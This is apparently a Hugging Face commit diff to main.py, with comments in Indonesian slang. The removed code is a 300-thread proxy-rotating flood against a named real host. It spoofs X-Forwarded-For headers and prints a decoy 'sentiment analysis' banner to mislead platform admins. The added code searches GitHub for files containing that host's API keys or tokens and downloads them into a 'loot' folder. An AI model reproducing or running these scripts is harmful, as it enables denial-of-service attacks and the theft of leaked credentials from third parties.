ViESTA commited on
Commit
113c59e
·
verified ·
1 Parent(s): bb1c22a

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +32 -40
main.py CHANGED
@@ -1,48 +1,40 @@
1
  import requests
2
- import random
3
- import threading
4
- import time
5
 
6
- # --- TARGET OPERASI ---
7
- TARGET = "https://vapi.exoliner.wtf"
 
8
 
9
- def get_proxies():
10
- try:
11
- r = requests.get("https://api.proxyscrape.com")
12
- return r.text.splitlines()
13
- except:
14
- return ["103.152.112.162:80", "43.159.28.24:80"]
15
 
16
- PROXIES = get_proxies()
17
-
18
- def ghost_attack():
19
- while True:
20
- try:
21
- p_addr = random.choice(PROXIES)
22
- proxy = {"http": f"http://{p_addr}", "https": f"http://{p_addr}"}
 
 
 
 
 
 
 
 
 
 
23
 
24
- # GHOST HEADERS: Niru browser asli dengan IP palsu
25
- headers = {
26
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
27
- 'Referer': 'https://www.google.com',
28
- 'X-Forwarded-For': f'{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}'
29
- }
30
 
31
- # SERANGAN BRUTAL DENGAN TIMEOUT 2 DETIK
32
- requests.get(TARGET, headers=headers, proxies=proxy, timeout=2)
33
- # Log minimalis biar nggak menuhin storage Hugging Face
34
- print(f"[+] Ghost Signal Sent via {p_addr}")
35
 
36
- except:
37
- time.sleep(0.1) # Jeda dikit biar gak CPU Spike
38
-
39
- # --- AKTIVASI 300 AGEN GHOST ---
40
- print("[*] INITIALIZING SENTIMENT ANALYSIS ENGINE...") # Umpan buat admin
41
- for i in range(300):
42
- t = threading.Thread(target=ghost_attack)
43
- t.daemon = True
44
- t.start()
45
- time.sleep(0.005)
46
 
47
- while True:
48
- time.sleep(10)
 
1
  import requests
2
+ import os
3
+ import base64
 
4
 
5
+ GITHUB_TOKEN = "MASUKIN_TOKEN_LO_DISINI"
6
+ QUERY = 'vapi.exoliner.wtf "api_key" OR "token"'
7
+ SAVE_DIR = "hasil_jarahan"
8
 
9
+ if not os.path.exists(SAVE_DIR):
10
+ os.makedirs(SAVE_DIR)
 
 
 
 
11
 
12
+ def download_and_scan():
13
+ url = f"https://api.github.com{QUERY}"
14
+ headers = {"Authorization": f"token {GITHUB_TOKEN}"}
15
+
16
+ res = requests.get(url, headers=headers).json()
17
+ items = res.get('items', [])
18
+
19
+ print(f"[*] Ditemukan {len(items)} file. Mulai download...")
20
+
21
+ for i, item in enumerate(items):
22
+ file_url = item['url'] # API URL buat dapet isi file
23
+ file_res = requests.get(file_url, headers=headers).json()
24
+
25
+ # GitHub API ngasih konten dalam bentuk Base64
26
+ if 'content' in file_res:
27
+ content = base64.b64decode(file_res['content']).decode('utf-8', errors='ignore')
28
+ file_name = f"file_{i}_{item['name']}.txt"
29
 
30
+ with open(os.path.join(SAVE_DIR, file_name), "w", encoding="utf-8") as f:
31
+ f.write(content)
 
 
 
 
32
 
33
+ print(f"[+] Downloaded: {file_name}")
 
 
 
34
 
35
+ # Auto-scan sederhana
36
+ if "key" in content.lower() or "token" in content.lower():
37
+ print(f" [!!!] ADA POTENSI TOKEN DI FILE INI!")
 
 
 
 
 
 
 
38
 
39
+ if __name__ == "__main__":
40
+ download_and_scan()